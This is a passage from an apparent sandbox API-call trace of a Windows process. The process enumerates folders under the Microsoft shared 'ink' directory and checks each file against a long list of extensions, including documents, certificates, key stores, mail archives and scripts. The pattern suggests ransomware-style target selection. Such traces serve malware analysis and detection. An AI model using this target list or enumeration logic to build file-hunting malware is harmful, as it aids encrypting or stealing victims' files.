lstrlenW (lpString=".mht") returned 4 [0089.798] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mhtml") returned 6 [0089.798] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0089.798] lstrlenW (lpString=".mka") returned 4 [0089.798] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mkidx") returned 6 [0089.798] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0089.798] lstrlenW (lpString=".mkv") returned 4 [0089.798] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mos") returned 4 [0089.798] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0089.798] lstrlenW (lpString=".mov") returned 4 [0089.799] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0089.799] lstrlenW (lpString=".mp3") returned 4 [0089.799] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0089.799] lstrlenW (lpString=".mp4") returned 4 [0089.799] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0089.799] lstrlenW (lpString=".mpeg") returned 5 [0089.799] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0089.799] lstrlenW (lpString=".mpg") returned 4 [0089.799] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0089.799] lstrlenW (lpString=".mpv") returned 4 [0089.799] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0089.799] lstrlenW (lpString=".mrw") returned 4 [0089.799] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0089.799] lstrlenW (lpString=".msg") returned 4 [0089.799] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0089.799] lstrlenW (lpString=".mxl") returned 4 [0089.799] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0089.799] lstrlenW (lpString=".myd") returned 4 [0089.799] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0089.799] lstrlenW (lpString=".myi") returned 4 [0089.799] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0089.799] lstrlenW (lpString=".nef") returned 4 [0089.799] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0089.799] lstrlenW (lpString=".nrw") returned 4 [0089.799] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0089.799] lstrlenW (lpString=".obj") returned 4 [0089.800] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0089.800] lstrlenW (lpString=".odb") returned 4 [0089.800] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0089.800] lstrlenW (lpString=".odc") returned 4 [0089.800] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0089.800] lstrlenW (lpString=".odm") returned 4 [0089.800] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0089.800] lstrlenW (lpString=".odp") returned 4 [0089.800] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0089.800] lstrlenW (lpString=".ods") returned 4 [0089.800] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0089.800] lstrlenW (lpString=".oft") returned 4 [0089.800] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0089.800] lstrlenW (lpString=".one") returned 4 [0089.800] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0089.800] lstrlenW (lpString=".onepkg") returned 7 [0089.800] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0089.800] lstrlenW (lpString=".onetoc2") returned 8 [0089.800] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0089.800] lstrlenW (lpString=".opt") returned 4 [0089.800] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0089.800] lstrlenW (lpString=".oqy") returned 4 [0089.800] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0089.800] lstrlenW (lpString=".orf") returned 4 [0089.801] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".p12") returned 4 [0089.801] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".p7b") returned 4 [0089.801] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".p7c") returned 4 [0089.801] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".pam") returned 4 [0089.801] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".pbm") returned 4 [0089.801] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".pct") returned 4 [0089.801] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".pcx") returned 4 [0089.801] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".pdd") returned 4 [0089.801] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".pdf") returned 4 [0089.801] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".pdp") returned 4 [0089.801] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".pef") returned 4 [0089.801] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".pem") returned 4 [0089.801] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0089.801] lstrlenW (lpString=".pff") returned 4 [0089.802] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0089.802] lstrlenW (lpString=".pfm") returned 4 [0089.802] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0089.802] lstrlenW (lpString=".pfx") returned 4 [0089.802] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0089.802] lstrlenW (lpString=".pgm") returned 4 [0089.802] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0089.802] lstrlenW (lpString=".php") returned 4 [0089.802] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0089.802] lstrlenW (lpString=".php3") returned 5 [0089.802] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0089.802] lstrlenW (lpString=".php4") returned 5 [0089.802] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0089.802] lstrlenW (lpString=".php5") returned 5 [0089.802] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0089.802] lstrlenW (lpString=".phtml") returned 6 [0089.802] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0089.802] lstrlenW (lpString=".pict") returned 5 [0089.802] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0089.802] lstrlenW (lpString=".pl") returned 3 [0089.802] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0089.802] lstrlenW (lpString=".pls") returned 4 [0089.802] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0089.802] lstrlenW (lpString=".pm") returned 3 [0089.802] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0089.803] lstrlenW (lpString=".png") returned 4 [0089.803] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0089.803] lstrlenW (lpString=".pnm") returned 4 [0089.803] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0089.803] lstrlenW (lpString=".pot") returned 4 [0089.803] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0089.803] lstrlenW (lpString=".potm") returned 5 [0089.803] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0089.803] lstrlenW (lpString=".potx") returned 5 [0089.803] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0089.803] lstrlenW (lpString=".ppa") returned 4 [0089.803] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0089.803] lstrlenW (lpString=".ppam") returned 5 [0089.803] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0089.803] lstrlenW (lpString=".ppm") returned 4 [0089.803] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0089.803] lstrlenW (lpString=".pps") returned 4 [0089.803] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0089.803] lstrlenW (lpString=".ppsm") returned 5 [0089.803] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0089.803] lstrlenW (lpString=".ppt") returned 4 [0089.803] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0089.803] lstrlenW (lpString=".pptm") returned 5 [0089.803] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0089.804] lstrlenW (lpString=".pptx") returned 5 [0089.804] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0089.804] lstrlenW (lpString=".prn") returned 4 [0089.804] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0089.804] lstrlenW (lpString=".ps") returned 3 [0089.804] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0089.804] lstrlenW (lpString=".psb") returned 4 [0089.804] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0089.804] lstrlenW (lpString=".psd") returned 4 [0089.804] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0089.804] lstrlenW (lpString=".pst") returned 4 [0089.804] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0089.804] lstrlenW (lpString=".ptx") returned 4 [0089.804] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0089.804] lstrlenW (lpString=".pub") returned 4 [0089.804] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0089.804] lstrlenW (lpString=".pwm") returned 4 [0089.804] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0089.804] lstrlenW (lpString=".pxr") returned 4 [0089.804] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0089.804] lstrlenW (lpString=".py") returned 3 [0089.804] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0089.804] lstrlenW (lpString=".qt") returned 3 [0089.804] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0089.804] lstrlenW (lpString=".r3d") returned 4 [0089.804] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0089.805] lstrlenW (lpString=".raf") returned 4 [0089.805] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0089.805] lstrlenW (lpString=".rar") returned 4 [0089.805] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0089.805] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0089.805] FindClose (in: hFindFile=0x4260710 | out: hFindFile=0x4260710) returned 1 [0089.805] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0089.805] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0089.805] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0089.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0089.806] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0089.806] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0089.806] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0089.806] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0089.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0089.807] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.807] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0089.808] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0089.808] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0089.808] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0089.808] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0089.808] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0089.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0089.808] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.808] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0089.809] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0089.809] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0089.809] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0089.809] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0089.809] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0089.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0089.809] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.809] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0089.810] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0089.810] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0089.810] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0089.810] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.810] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0089.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260650 [0089.813] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.813] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0089.814] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0089.814] lstrlenW (lpString="boxed-delete.avi") returned 16 [0089.814] lstrlenW (lpString=".1cd") returned 4 [0089.814] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.814] lstrlenW (lpString=".3ds") returned 4 [0089.814] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0089.814] lstrlenW (lpString=".3fr") returned 4 [0089.814] lstrcmpiW 